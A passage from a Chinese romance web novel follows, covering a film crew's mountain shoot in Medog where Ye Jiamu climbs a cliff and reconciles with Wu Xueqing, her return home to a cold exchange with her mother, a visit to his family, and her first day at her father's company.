邬雪青思考了一下,觉得梁襄肯定不会返回来拿,大概是被人误拿了,不过也不是多重要的东西,她已经没了吃水果的兴致,没和人多掰扯,说了声知道了,便回了酒店。 回到酒店,和梁襄的小插曲让她一下想不起自己是要做什么事了,站门口发了会儿呆才想起来过会就该上山了,她应该要整理一下背包,接着又想起自己的房卡和手机都还在叶嘉木房间里。 她深呼吸几次,调节好了情绪,让神情看起来和往常无异这才去敲了叶嘉木的门。 没多会儿,门开了。 叶嘉木刚洗过脸,脸颊上还沾着水渍,额发湿漉漉地贴在前额上,看起来有些……难过又狼狈? 邬雪青把这个奇怪的念头从脑子里驱散,声音如常:“我来拿房卡和手机。” 他看她一阵,让开身让她进去。 邬雪青往里走了几步,一下便看到了放在茶几上的水果袋子。 她很意外:“你刚刚也出去买水果了?” “不眼熟吗?” 他似乎轻笑了一下,又似乎没什么笑意。 邬雪青眨眨眼,扒拉开袋子看了看。 确实眼熟。 “刚刚卖水果的人说有人替我拿走了,原来是你啊。”她惊奇道,“你怎么知道我在那里买了水果?” “我刚刚下去找你,看到你和梁襄了。” 没有旁敲侧击,他直接说出了口。 “对,我在楼下碰到他。他起得还挺早,正好吃完早餐回来。”邬雪青顺口道,说着,她又疑惑起来,“你既然看到了,怎么不过来?” 她语气自然,叶嘉木顿了顿,试图解开心里拧巴的地方,尽力平和道:“我看你们有话要说,就没过去了。” “那你听到我们说话了吗?” “没有。” “没听到啊……挺好!” 挺好? 叶嘉木忍不住问:“所以你们说了什么?” 邬雪青迟疑了下,还是觉得梁襄的事不应该由她说,便只笼统道:“就是和我聊了一些他的事情。” “……” 叶嘉木一时沉默。 也不知道他在想什么,邬雪青看了下时间,转开话题:“我们是九点半上山吧?” “嗯。” “好,那我先去收拾包了。”她拿着房卡和手机准备往外走。 “雪青。”他突然叫住她。 邬雪青回头,“嗯?” “早上那件事情的确是我考虑不周到,如果你……” 没等他说完,邬雪青叹口气,摆手道:“算了,本来也不是多大的事。” 那是她的家事,她本来也不该把他迁怒进来。 “对了,梁襄他……”她又开了个话口。 听她又提起梁襄,叶嘉木心口一紧,但脸上很平静,也没应声,只是等她把话说完。 毕竟是他公司的人,邬雪青本来想说梁襄今天可能心情不好,想让叶嘉木多留意一下,但转念一想,要解释前因后果很麻烦,于是便作罢,把话口咽了下去,又摆摆手说:“没事。” 叶嘉木脸上不动声色,心里却翻江倒海,简直像灌了一坛陈醋,酸得他心口处发涩。 梁襄他怎么? 之前走得也不近,这两天他们倒是无话不说起来了? 今天再上山,大家都更有经验了,帽子、口罩、袖子袖口拉绳、袜子、长靴,一应俱全,都裹得严严实实,生怕被蚂蟥咬到。 昨天山里或许是下了一场山雨,走过的小路变得泥泞起来,比昨天倒是更难走了,工作人员还要把设备都背上山,行进的速度也更慢了。 邬雪青感觉这小半个月的旅程下来,她体力倒是比以前好多了,从前走几百米就腿疼心口疼,气喘吁吁,这回上高原反倒还没有一些男生反应大,步伐也比以前更轻快了。 虽然没有刻意编队,但走着走着,领导和领导走到了一块,摄影组走到了一块,后勤走到了一块。 邬雪青哪个分队都不属于,导演和制片拉着叶嘉木聊拍摄,她不想凑这个热闹,有意放慢脚步跟在队尾,拄着登山杖不时敲敲树打打草。 叶嘉木不时回头看她一眼,看见朱絮朝她走过去,两个人有一搭没一搭聊着,也不算无聊。 到溪涧急流处,导演加了一个徒步镜头,工作人员原地忙了起来。 场务下水捡了捡溪涧里的树枝杂草,灯光师正讨论怎么补光,准备差不多了,众人撤出了画外,只有摄影师扛着支架和摄影机跟着演员往前走。 一个走路的镜头反反复复换机位也得拍小半个小时。 邬雪青余光瞥到梁襄,下意识注意了他一下。他和唐昆站在一起,正拍打着爬上衣服的虫子。 她在包里翻了翻,找出昨天那瓶木姜子喷雾,走过去顺手递给他们:“这个说是防蚂蟥的,你们要不要用?” “谢谢邬小姐!” 唐昆没和她多客气,赶紧接了过去。 梁襄虽然还是一贯的低调话少,但邬雪青能感觉出他情绪仍旧低落,不由低声问了句:“你还好吧?” 他一顿,说:“谢谢,我没事。” 叶嘉木站在溪涧对岸导演机位后,目光却不由自主往邬雪青身上看过去。 她和梁襄站在一块,两个人不知道在聊什么,她甚至弯腰将脑袋凑过去看梁襄表情。 叶嘉木手指一紧,又强压住,眉头紧紧皱了起来。 他们什么时候这么熟悉了? 叶嘉木想表现得不那么在意,在邬雪青若有所感地回头朝他看过来的时候,他迅速收回了目光,只盯向眼前的镜头。 从溪涧走到终点,太阳已经到了头顶上,热得大家大汗淋漓。 今天的重场戏是一段攀岩的画面,摄影在岩壁下架起了摄影摇臂。 安全员和广告演员沟通着攀岩的路径,但毕竟是户外野攀,两个演员虽然是专业的,但也都有些犹豫。 男演员先系上安全绳,试着往上爬了一段,很快又跳了下来。 邬雪青站在树荫下,远远看着场景里的几个人似乎发生了争执,两个演员比划着,好像是在说不够安全。 不会要打道回府吧。 邬雪青用一张纸板给自己扇风,都有点后悔来了。 太热了。 还好无聊。 大家都各忙各的,一时也没人顾得上她,她站会儿,又蹲会儿,支着下巴发呆。 正和摄影沟通的叶嘉木似乎也听到演员那边发生了一些争执,他走了过去将两边拉开。 不知说了什么,安全员把男演员身上的安全绳解了下来系在了叶嘉木身上。 邬雪青错愕了一瞬,站了起来。 她还没走过去,安全员便指挥道:“所有人不要走太近,都走远点。” 叶嘉木脱了外套扔给一个工作人员,露出里面的一件黑色T恤,他仰头看了看崖壁,然后搓了搓手掌,找了个落脚点,手掌攀住石缝,胳膊上的肌肉绷了起来,提膝一蹬,往崖壁攀了上去。 邬雪青呼吸一滞,吓一大跳,快步往前走了几步。 大家也都紧张起来,退出两米远,噤了声,只有安全员站在他身下给他抬着绳索。 叶嘉木眼睛盯着崖壁,一边思考着,一边往崖壁上前进,顺手接住安全员递来的绳索,在崖壁挂片上一挂。 邬雪青用手掌遮着太阳光往上看,这时才看见崖壁上原来是有东西的。 他显然是有攀岩经验的,动作敏捷,节奏也很稳,不缓不急地往上攀爬。 可在他刚爬到崖壁中间,一块凸起的石头横亘在他面前,几乎没有抓处和能踩的地方。 看他贴着崖壁,抠着一侧缝隙,悬在半空中,一只手向上摩挲,所有人心脏都吊到了嗓子眼。 崖壁看起来不高,可至少也有好几层楼,要是摔下来,不残也得重伤。 邬雪青快步又往前走了几步,在她要超过人群的时候,一只手臂拉住了她。 她回过神。 梁襄站在她身后,朝她摇了摇头。 凸起的岩石的确成了大阻碍,叶嘉木看了看岩石上,这边已经没有挂片了,他意识到路应该在另一侧,便抵着岩石缝隙往一侧挪移了几步。 安全员也在观察,冷静地在崖壁下和叶嘉木沟通着。 顺着指引,叶嘉木顺利离开凸石的位置,看见了一处挂片,他长腿一伸,跨过崖壁中间的一道小沟,踩到了另一侧石缝中,拉起身下的绳索,成功挂在了一块挂片上,继续往上攀登。 意外没有打乱他的节奏,他很快又恢复了攀爬的平缓速度。 可正要登顶时,他脚下一处落脚点松了,带着碎屑扑朔朔往下掉了几块碎石,他重心偏移,肩膀往一侧撞了一下。 崖壁下发出了一阵惊慌的呼声。 好在他反应很快,借着胳膊的力踩在石壁上一蹬,顺着手臂力量往上一跃,踩在了另一处缝隙上。 有惊无险,他顺利登上了崖顶。 大家悬着的心终于落下来,响起了一片掌声。 叶嘉木面色却沉静,没有多做停留,他往下扫视了几眼,看了看回去的路。 旁边有人嘀咕说:“这下来比上去还难,往上至少还能看到上面的路。” 邬雪青也是这么认为的,她心跳得厉害,不由揪紧了旁边人的衣袖。 视线一扫,就看见邬雪青和梁襄站在一起,她甚至正拉着梁襄的衣袖。叶嘉木垂下眼睛,手上继续麻利地调整腰绳,借着挂片的路径,他又顺着原路返回了下来。 大概是有了刚刚上去的经验,他下来的速度出乎意料的快,岩羊似的。 他一下来,安全员就靠了过去,给他解开安全绳。 叶嘉木拍了拍掌心的灰尘,和走近的两个广告演员道:“路我试过了,没问题,崖壁上的挂片都很紧,不用紧张,但是尽量靠右侧走,左侧有几个地方石头比较松。” 他又将要注意的地方一一指出来。 交代得差不多了,他转过身正要往外走,眼前一晃,一股不容分说的力道撞进了他的怀里,撞得他胸口重重一震。 他下意识张开手臂,脚下往后踉跄了两步才站稳。 熟悉的气息钻入他的鼻腔,他错愕过后,抬手扶住了她微微发颤的肩膀。 第46章 邬雪青蹲在水潭边,用手里的小木棍搅着清澈的潭水。 拍摄已近收尾,叶嘉木抓了个人问有没有看到邬雪青,对方想了想,指着一条小径道:“好像看到邬小姐刚刚往那边去了。” 叶嘉木顺着小径走过去,穿过一片丛林,豁然开朗。 一片小小的清潭在眼前,潭边布着一层鹅卵石,穿着紫色冲锋衣的姑娘在潭边盘腿坐着,垂丧着头。 听见了身后的脚步声,她也没有回头,只是抓起一颗石子往水潭里扔去,石子咕咚一声沉了下去。 “怎么一个人待在这?”叶嘉木先开口。 她背影僵了下,很快又恢复了肩膀耷拉的姿态。 “要下山了,走吗?” 他走到了她身边,弯腰朝她伸出了一只手掌。 邬雪青瞥了一眼。 他手掌中有攀岩时碎石磨出来的细小伤口,现在仍渗出丝丝血丝。 她站起身拍了拍后背上的灰尘,没搭理他,掉头就往回走。 他也不在意,又抬腿跟上了她。 邬雪青从地上拾掇起一根手臂长的树枝,一边走一边抽打着两侧草丛,像是泄愤。 听着身后不急不缓的脚步声,她脚步一顿,回头瞪他:“别跟着我,我知道回去的路!” “没有跟着你,”他慢悠悠说,“摄影组在林子里布了几个镜头,我来找找。” 邬雪青懒得理他。 她下午在林子里走了走,知道从潭边回岩壁下还有一条岔路可以穿回去,抬腿就往旁边走了去。 说着来找镜头的人又不紧不慢地跟上了她。 “你还记得以前住在润府的时候吗?”他说。 她不搭话,叶嘉木也不在意,自顾自继续道:“有年冬天你家阿姨用燃气灶炖汤,汤还没好又跑出去买菜,汤扑了,你家里一下燃了起来。” 他说的比她记得的还清楚。 邬雪青脚步慢了下来。 “我闻到怪味,一出来就看到你站在二楼的露台上,大冬天的袜子也没穿,就抱着一个兔子娃娃,看到我,你就小声地叫‘叶嘉木’‘叶嘉木’。 “我打不开你家门,就从你家后院的花坛爬到墙上,又从墙爬到一楼屋檐上,然后把你家窗户扒开。” 叶嘉木还记得她从屋檐上蹭着往墙上踩,结果没踩稳,一下摔到了花坛里。 他探出头去看她的时候,她没哭,只是脸都白了,眼睛里蓄着一汪眼泪,没掉出来,一声不吭,呆呆地看着他。 “当时你摔下去,哭都不哭了,我心想坏了,吓傻了。”他叹口气。 邬雪青其实不太记得那件事了,那是冬天,她又着了凉,发了许久的高烧,烧退了后就不太记得发生的事了。 但他提起来,邬雪青又想起来了一些画面。 比如他也故意从屋檐上跳下来,结果真把脚崴了,还强撑着呲牙咧嘴说没事。后来秦阿姨给他上药的时候他脚踝已经肿成包子大了,嚎得五十米外都听得见他的惨叫。 比如她在叶家待到凌晨已过,她爸妈才急匆匆赶来,为了争到底把她带到哪边去养还在叶家大吵了一架。 后来各退一步,才把她放到了姥姥姥爷家。 他说:“我小时候太淘,天天上房拆瓦,我爸妈为了让我歇停会儿,才把我丢去学了攀岩。如果不是会攀岩,我也爬不上你家二楼。 “其实我那时候特别想带你跟我一块学攀岩,但是你待在你姥姥姥爷家,一下请了一个月的假。 “你都不知道,我还专门跑去你姥爷家找你,但是你家门卫不让我进去。 “我就从栅栏外翻了进去,好不容易找到你家,结果被保安发现了,撵得我哇哇跑。” 想象一下那个画面,邬雪青扑哧笑了一下。 叶嘉木快步赶上她,“笑了?不生气了?” 邬雪青扭开头去,不想搭理他。 “真的,我去过你姥爷家好几次了,但只见过你一次,你还记得吗?” 邬雪青……记得的。 那次是秦阿姨带他来的,结果一来叶嘉木就被姥爷安排去写作业,两个人话都没有说上几句,倒是大人聊了大半天。 写完后姥爷检查他们的作业,指着同一道题说:“果然男孩子脑子就是灵活一些。” 邬雪青气得冷脸,认定叶嘉木是来她家挑衅的,再没给过他好脸色。 而叶嘉木抱着书包走的时候也面如菜色,之后也再没敢来她姥爷家了。 “你姥爷太凶了。” 叶嘉木现在仍心有余悸。 邬雪青脚步一顿,没好气:“你讲这些陈芝麻烂谷子的事想干什么?” “想让你承认你就是喜欢我,在乎我。邬雪青,在我还不知道什么是喜欢的时候,我就已经喜欢你了。你现在才承认喜欢我,也不算输吧?” “谁喜……” “不喜欢我会扑上抱来吗?” 他 一把拉住了她的手腕,站在她面前同她面对面而视,他说:“邬雪青,喜欢一个人不是一件丢脸的事。” 她抿了抿唇,别开了头,手指却攥紧了。 “你从前总是像刺猬一样,喜欢也好,不喜欢也好,都藏起来,无论谁靠近你,你都下意识竖起尖刺。” 他张开手臂,握住她双肩,“可是你现在开始改变了,又或者,不是变得柔软了,而是你开始露出你柔软的那部分了。我很开心,说明在我身边,你是感觉到安全的,既然如此,那就再多信任我一点吧,好吗?” 树叶声飒飒作响。 远处的人声并不清晰。 他笑吟吟地看着她,等着她的回答。 邬雪青抬头看看他,又低头嘟囔了句什么。 叶嘉木没有听清,低下头来看她,眼睛亮得像星星一样。 “不好。” “哪里不好?” “你比我小。” “……啥?” “我不喜欢比我小的!” 他气笑了,干脆低头堵住了她这张气死人的嘴。 她抬起手,却没推开他,手上的小树枝掉在了地上,她揪住了他的衣摆。 看着叶总拉着邬小姐的手从树林里出来,唐昆和梁襄咬耳朵:“他们这是和好了?” 梁襄笑了下,“本来也不算吵架。” 上午叶总从岩壁上一下来,邬小姐就扑上去锤了他好几拳,大概是气恼他一声招呼都不打就去干这么危险的事,差点气哭了。 叶总也是嘴欠,不仅没安慰,还当着大家面笑眯眯撩拨了一句“原来这么担心我啊”,气得邬小姐扭头就走。 明眼人都看得出叶总很在乎邬小姐,而邬小姐对叶总的爱也一点都不少。 总而言之,真情侣就是好嗑! 在墨脱的最后一个晚上,大家买了生肉自发做起了烧烤。 木炭在烤炉中噼啪作响,火星子腾空而起。 邬雪青曾以为自己只是游离于这个团队外的旁观者,可等到要分开的时候,才发现不知不觉中她已经拥有了许多亲历的回忆。 大家在雪山上冒雪前行的样子,狼狈靠睡在一起的样子,在然乌湖畔共同眺望星空的样子,在密林中互相帮助的样子…… 很多人她都叫不上名字,但并不妨碍她在此刻对所有人都生出一点点的留念。 “牛肉吃吗?” 一把烤串伸在了她耳侧。 她回头,发现是高医生。 “谢谢。” 她接过烤串。 高瑜朝她笑笑,又拿着一把烤串,给落单的人每人分几根。 不一会儿,叶嘉木端着一个烤盘过来了,喊道:“快快,趁热吃。” 邬雪青咬了一口肉,烫得嘶嘶吸气。 他笑了一声,拿起一把扇子给烤盘里的肉都扇了扇。 “哇,今天能看见银河!”有人喊了一声。 大家都抬起了头望向天空。 “等回隅州就看不到这么好看的星空了吧。”有人轻轻说。 无人应声,所有人同望一片星空。 或许,有这么一刻便足够了。 这一趟行程中的艰难险阻难以一一描述,所有人也都不会忘记这趟行程中的风雪、湖泊、阳光与星河。 九月最后一天,天气晴朗。 车队兵分两路,一路先出发回成都,另一队带人前往林芝机场。 带着特殊标志的私人专机已停候在林芝米林机场。 十几号人走特殊贵宾通道,跟着邬雪青兴奋地登上了私人公务飞机。 机组团队已在入口处迎接,连机长也亲自出来打招呼。 先进去的人一瞧见皮质的宽敞座位和精致的机舱装潢,先发出了一声“哇”声。 “托邬小姐的福,有生之年也是坐上私人飞机了!” “原来私人飞机里面是这样的!” “我们可以随便坐吗?” “大家随意。”邬雪青说。 一堆人立马冲向了心仪的座位。 邬雪青在窗边坐下,放下座椅靠背,侧头看向窗外。 比起其他人迫不及待想要返回隅州的激动,她心里的怅然更多一些。 习惯了马不停蹄的旅程,忽然一切落定,心口反而像空了一块。 她望向航站楼,她知道叶嘉木就站在航站楼内,他会看着她起飞。 四十多分钟后,飞机缓缓滑翔起来。 她捏紧了手里的小叶紫檀手串,又缓缓松开了紧握的手指。 他说一周内就会赶回隅州,她倒希望他慢一点、安全一点。 出发时半个月的行程,返程却只要三个多小时就能结束。 下飞机时,机组成员给每位乘客都赠送了一份伴手礼,大家沉浸在归家的喜悦中,叽叽喳喳和邬雪青打完招呼,欢快地走下了飞机。 邬雪青最后一个下飞机,空姐给她拎着行李箱,亲自送她下舷梯。 一走出舱门邬雪青便看见了开进停机坪的黑色轿车和站在车旁的女人。 邬玉瑾披着大衣,望向舷梯,身后站着的助理同样翘首以盼。 一见女儿出来,她往前走了几步。 助理率先接过空姐手里的行李箱,拎上了汽车后备箱。 邬玉瑾看了看她,语调略平,又带些责备地说:“瘦了。” 这次分开只有半个月而已,邬雪青却感觉邬玉瑾气色好像没有之前好了,不知是因为妆容还是什么缘故,有些憔悴的白,眼尾也多了几分衰老的痕迹。 但她们母女一向话不投机,邬雪青皱了皱眉,抿住唇,没有开口。 不多交谈,两人坐回了车内。 轿车随即驶离,仅几分钟,消失在机场特殊通道尽头。 第47章 隅州已经正式迈入秋天,两侧行道树挂上了金黄的叶子,地上厚厚地铺着一层,清扫的大爷握着大扫帚正从街尾慢慢扫过来,竹编的扫帚发出清脆的唰——唰——声。 行路匆匆的路人,疾驰的汽车哗然而过,落叶沙沙伴随着唰唰的扫地声,是独属于城市的气息。 天气不冷不热,车内却开着暖气。 邬雪青感觉外面秋意这么好,车里却闷,于是将车窗放下了一些。 秋风吹进车内,邬玉瑾扫了她一眼,没有讲什么,只是将风衣又拢了拢。 助理感觉到了后窗吹进来的凉风,他看看后视镜内脸上还带着病气的老板,斟酌片刻,他还是出声道:“邬小姐,是车内太闷了吗?要不然关上窗,我把外循环打开吧?” “不用。”她说。 助理只好又解释:“车风太大了,夫人最近不能吹风……” 邬玉瑾打断:“没事。” 母女俩怎么连说话语气都一模一样…… 助理只好把后半截话咽了回去。 前半截话邬雪青还是听清楚。 车窗徐徐关上,邬雪青看了她妈一眼,语气有些生硬问:“你病了?” 母女虽同坐后排,但中间隔着一个岛台扶手,并不多亲近。 邬玉瑾有些意外地看向她,声音倒温缓了许多:“没什么事,只是在吃一些调理身体的药。” “调理身体?” 邬雪青又看了看她脸色,邬玉瑾神情还是一如既往的疏离冷淡,除了给人感觉上精气神憔悴了几分,瞧不出太多的异样。 “更年期而已。”邬玉瑾淡淡道。 助理非常诧异地看了一眼后视镜。 邬雪青倒是没太怀疑,甚至还觉得很有道理,她妈的确是到更年期的年龄了,脾气也越发古怪。现在国外都将更年期视为一个特殊生理阶段来干预,她妈的脾气也确实很应该调理了。 “听徐玉说你在理塘买了一匹马运回来?”邬玉瑾又问。 徐玉是邬雪青的助理,最近就在帮她处理马的事。 “对。” “怎么突然又想骑马了?”她语气颇有几分不赞同。 邬雪青心里又生起了淡淡的烦躁,不想多解释:“随便玩玩。” “做事要有始有终,不能做什么都是弄三分钟又丢开,你舅舅家的女儿打乒乓球都拿奥运奖牌了,你小时候不爱运动也就算了,学习还没有恒心,真不知道你以后要做什么。” 邬雪青在心里默念了两遍:她更年期,她更年期,于是维持着面无表情。 见她不说话,一副左耳进右耳出的样子,邬玉瑾皱了皱眉头,忍不住语气又重了些:“前几天发给你的那些材料你都看了吗?明天你就去你爸集团那边报道,大小也是个领导,不要人家问你什么你都一问三不知,丢你爸的脸也就算了,别丢我的人。” 不想她丢人,那就别让她出门呗! 邬雪青想奚落回去,想到有人和她说家里的架如果要吵是吵不完的,与其无意义地争执,不如退一步,家里人没意思也就不念了。 但心里总归还是憋火,她冷然一笑,转头望向窗外,只留个后脑勺给邬玉瑾看。 邬玉瑾又说了她几句,见她一句都不回,终归是说教得没意思了,也说累了,不再念了。 两刻钟后,车开回了家。 邬雪青一下车,Cooper就飞扑了上来,缠着她一个劲地转圈。 “Cooper——是不是很想我了?嗯?” 邬玉瑾看了女儿一眼,见她蹲在地上对狗又抱又摸,忍不住说道:“要吃饭了,还玩狗,快去把衣服换了,把手洗干净!” 邬雪青只当耳旁风,弯着腰半搂着Cooper高高兴兴往家里去。 上楼梯时她揉了揉鼻子,鼻腔发痒,打了好几个喷嚏。 邬玉瑾洗净了手,朝阿姨道:“去把毛吸一吸,把狗关房间里去。” 邬雪青不紧不慢地洗了个澡,吹干头发才下楼。 楼下邬玉瑾正坐在餐桌边看手机。 她戴着一副无框眼镜,将手机举得有半臂远,眉头微皱着,也不知道在看什么,瞧着还看得很费劲。 邬雪青站在楼梯上,保姆阿姨正巧看见她,喊道:“小姐,可以吃饭了。” 邬玉瑾抬头看了邬雪青一眼,见她下楼了,便将手机放到一旁,摘了眼镜。 她们家的餐桌一贯安静。 望着一桌清淡健康的菜,邬雪青没多少食欲,不过胃已经习惯了,至少吃进胃里还是舒服的。 邬玉瑾放下筷子,用公筷夹了一块蟹腿肉放她餐盘里:“尝尝这个梭子蟹,是你玟玟姨专门寄过来的。” 她低头尝了一口,问:“今天怎么没看到邵叔?” “他老家有点事情,回中山去了。” “哦。” 见她主动关心家里的事情了,邬玉瑾语气软和了些,又勺了一勺汤给她,问她:“你那匹马打算养在哪里?” “先放马场吧。” 邬雪青没说她打算买座山养马,这事她爸肯定没意见,她妈听了指定是要训她想一出是一出的。 可钱不就是用来花的吗? 正好明天去她爸那,让老季帮她看看哪里有山能买。 想到这,她心情又愉快了不少。 “这次出去玩得怎么样?路上没有和小叶吵架吧?” “没有。” 对自己女儿的脾气,邬玉瑾是清楚的,提点道:“人家小叶性格好,出去工作还一路照顾着你,你也不能太理所当然,明天让伍姐带点礼品,你去隔壁拜访拜访你叶叔叔和秦阿姨。” “明天不是要去公司吗?” “你下午总要回来的啊。” “不一定,我晚上也可能去我爸那了。” 邬玉瑾一想,明晚季延山是很可能带女儿出去吃饭的,虽然心底不大高兴,但面上不显,只道:“那你今晚就去叶家一趟。” 说到这,她又吩咐道:“伍姐,理出来几件礼品,待会帮Shirley拿去隔壁。” 和邬玉瑾干练冷酷的行事风格比起来,秦斓阿姨的性格简直温柔得能掬出水来。 一见邬雪青上门,秦斓满眼都是高兴,再一看伍姐在后面还拿着礼品,不太高兴地温训道:“真是的,来秦姨这里还拿什么东西,快都拿回去!” 邬雪青摸摸鼻子:“您收着吧,拿回去我妈指定又要说我了。” “你妈妈也真是,这么多年的邻居了,还总是弄这些虚礼。”秦斓不在意礼品,欢喜地把她带进家里,又招呼着,“杨姐,快上茶来!” “雪青来了,快进家里坐。” 叶爸爸也笑眯眯地招呼。 邬雪青手臂被秦阿姨握着,只能颔首示礼:“叶叔叔好。” “小杨,晚上就不要上茶了,把新买的燕窝炖一炖,用我那个骨瓷!”叶爸爸喊道。 叶家一派热闹,邬雪青招架不住,只得道:“不用这么麻烦,我就坐一会儿……” “这都是必须的,不要和叔叔阿姨客气,就把这当自己家!”叶爸爸热情道。 秦斓拉着她左瞧右看,声音柔和:“上次都没仔细看,我们雪青瞧着真是越长越漂亮了,这次进藏也没有晒黑,还白白净净的,我看嘉木的照片,他都快晒成黑炭了。” 想起这个,邬雪青就悻悻,忍不住吐槽道:“他都不擦防晒的,想起来就随便抹两下,他不黑谁黑!” “那傻小子,也就长得凑合这一个优点了,晒丑了看谁还喜欢他去!” 秦斓对儿子也是一顿嫌弃。 邬雪青顿时好一顿吐槽,细数叶嘉木有多糙,比如洗脸不用洗面奶,出门不涂防晒,拿了她的润唇膏也根本不记得用…… 秦斓听得眼睛弯起,满脸的温柔笑容。 在叶家待了一个钟头,邬雪青走的时候叶嘉木爸妈非要往她手里塞一个大红包。 邬雪青不明所以,从前除了拜年可从来没有这种回礼,她推拒了,领着伍姐赶忙逃出了叶家。 望着没有送出去的红包,秦斓脸上还有些失落,回头问叶爸:“怎么红包也不收,你说雪青是不是还没瞧上你儿子呢?” “你儿子都说让我们别太夸张,免得把人家吓得不敢上门了。”叶爸摇头。 秦斓道:“那这红包不是你塞这么厚的吗?人家雪青都不好意思收了!” 叶爸吹胡子瞪眼:“我这不也是为了表示我们家的重视吗?” “等嘉木回来,我们去一趟邬家,必须要正式登一下门的。”秦斓斩钉截铁道。 叶爸爸点头:“也好,也谈一谈什么时候两家正式吃个饭,还要正式见一下雪青爸爸。” 邬雪青被吓回了家,脸上还隐隐有点发烫,她用手背贴了贴脸颊降温,总感觉这回邻居叔叔阿姨有点太热情了,难道是太久没有见她了?她全然不知道隔壁已经商议起了两家见家长的事了。 她一回家,邬玉瑾还没休息,坐在沙发上,拦着她盘问了一番才放她回房间。 叶嘉木倒像是算准了似的,她刚倒在床上,手机就响了。 是叶嘉木发来的语音邀请。 她盘腿坐起,接通了语音。 “在干什么呢?”男人的声音低沉温和。 邬雪青想起来秦姨温温柔柔的声音,心道不愧是母子,说话语气都还挺像。 “准备睡了。”她打了个哈欠说。 叶嘉木声音带笑:“这么早?” “飞了那么久,当然累了。”她理直气壮。 “吃过晚饭了吧?”他又问。 “嗯,都八点了,当然吃过了。”她停顿了一下,问他,“你呢?” “正准备去吃饭了。” “还没吃饭啊?”她声音略提了起来,“你现在到哪了?” “刚到波密,吃个饭就准备休息了。” 邬雪青算了算,感觉这路程也不短,“你也别开太快……安全第一。” 他声音听起来颇为愉悦:“好。今天回家没有和邬姨吵架了吧?” 当初那三个要求,第一个是要她去哪儿都必须和他说一声,第二个就是回家后不 能和家里人吵架。 邬雪青觉着后一个要求她单方面很难做到,毕竟吵架从来不是只有某一方挑火,于是又改成了有话好好说,【尽量】不要和家里吵架。 “没有。” 邬雪青觉得她这个【尽量】已经非常尽量了。 她复盘了一下,其实今天窝火的时候不是没有,但是忍一下情绪很快也就过去了,可能是已经习惯亲妈刻薄的说话方式,当耳旁风后反倒没有你一句我一句吵起来又吵不出个是非对错那么憋气了。 “进步很大啊,值得表扬。”他夸奖道。 邬雪青挠了挠脸颊,感觉他像夸小孩,她哼哼说:“明天要去我爸那了,你没事别给我打电话了。” “去公司?” “嗯。” “明天几点起来?” 他不问,邬雪青都没想到这个事,她发了会儿呆,遂问:“公司一般都几点上班?” “九点前吧,不过你第一天去,稍微晚点也没关系。” “唉……” 邬雪青叹口气。 “怎么了,还唉声叹气的?” 她只是感慨一下,好不容易不用上学了,又要朝九晚六上班,人的命怎么这么苦。 “没什么,准备我给我爸打个电话,问问他明天是什么安排。” “好。”他稍顿片刻,有点不太舍得挂电话,但还是道,“那你去联系你爸爸吧。” 邬雪青很有点没心没肺,觉得反正待会给他发消息聊天也可以,于是爽快道:“好,那挂了,你去吃饭吧,拜拜!” “……” 叶嘉木一个“拜”字还没说出口,语音已经秒断了,他看看手机,哑口无言。 寻思片刻,生出了危机感。 这才刚分开半天,她就挂得这么干脆了,再过一个星期,岂不是连他消息也懒得回了? 第48章 季氏集团37楼,开云项目总监办公室。 邬雪青坐在办公椅上转了半圈。 整个办公室还是空荡荡的,桌上只有一台电脑和小型打印机,一个笔筒里插着两支水笔,身后书柜更是空空荡荡,什么都没有。 董事长秘书叩了叩门,端着茶盘走进来:“雪青小姐,听说您喜欢喝冷泡茶,这是季董珍藏的白牡丹,不知道合不合您喜好。” 她将精致小巧的掐丝琉璃茶杯和小茶壶放在邬雪青面前,又后退一步,握着茶盘等她品鉴。 邬雪青端起茶杯抿了一口,冰得微微皱眉,嘴角撇了一下,抬头问她:“我爸还没来吗?” “季董通常十点左右到公司,今天上午有会议,应该会早一点到的。雪青小姐,您可以先看看您办公室还需要添置一些什么,国庆后我都会给您安排好。” “不用了,我喜欢自己来。” “好的,您之后可以把购置的办公用品清单和发票发给我或者您的助理,之后公司会将费用统一报销给您。” 比起报不报销的,邬雪青更想知道:“助理?我的助理在哪?” 有个助理能给她解决不少琐碎的麻烦,她妈给她找的生活助理就很面面俱到,在美国期间基本操持了她生活里的大小琐事。 秘书道:“季董来了后会亲自带您见一下您的项目团队成员,您可以考虑在团队里选一个人兼任您的助理,如果没有合适的,我们也可以从外部再招聘一个新人加入您的团队。” 交谈了几句,见她没有其他事情要交代后,董事长秘书便退出了她的办公室。 虽然已经坐在了自己的办公室里,但邬雪青还没什么实感,今天按理是法定节假日,公司也没什么人,到处都空荡荡的,她有种过家家的荒诞感。 她仰靠着椅背,转向落地窗。 窗户朝东,正好能看见早上的太阳,金黄的阳光洒在城市顶上,天空高远,却没有川西的澄净碧蓝。 手机嗡震了一声,她拿起手机看,是写真馆把修好的照片发来了。 她点开压缩包打开看了下照片。 实话实说…… 修完图成片不敢恭维,千篇一律的滤镜模板,没有任何质感的死亡磨皮,画蛇添足后还不如一开始发给他们的直拍图。 唯独还能看的就是那张阳光下的亲吻合照。 大概是逆光看不清脸,修图师也没有大修,保留了原图的氛围基调。 但总体非常差劲,邬雪青看过后,回复了写真馆一个字:丑。 对方发了一个捂脸的表情:不好意思啊,您看看哪些图您觉得需要重新修? 原本就没有报太多期望,所以收到成图也说不上失望,懒得费功夫再琢磨这件事,她言简意赅回了两个字:算了。 办公室门复又被敲响,她关了手机,向门口看去,董事长秘书又抱着一沓文件走进来了。 董秘弯腰将文件放在邬雪青桌上,道:“雪青小姐,这是开云项目一些项目资料的纸质版,您可以再过目一下。” 邬雪青坐着也是无聊,随手抽过一个文件夹翻开,里面有详细的品牌介绍,产品系列展示,都是一些品牌前期的了解资料。 开云是集团旗下一个高端丝绸品牌,过去更多面向海外市场,20世纪初辉煌过,但现在已经疲态尽显,无论是产品设计还是品牌受众都趋于老化,和现在的年轻人市场脱节,电商兴起后主打线下实体店的开云市占率更是一年比一年低,已经到了生死存亡的阶段。 这个项目的愿景是要在一年时间内对品牌进行重塑和复兴,不仅要开拓国内外市场,更要在亚洲市场内打造出一个旗舰项目。 她前几天粗略扫过项目书。 现在的项目书也还只是一个市场部门提出的草纲,非常粗略,对于具体怎么落地给了一些发散性的建议,比如一、重抓电商,打开线上渠道;二、结合非遗文化,进行品牌推广——这些笼统的建议旁边还有董事会的批红: 一不符合品牌调性,降低了品牌格调! 二太宽泛,怎么结合?怎么推广?策略呢?要落地! 她一只手撑着下颚,将项目书再扫了一遍。 不得不说,她爸心真大,这么大的项目敢交给她一个从没上过班的人。 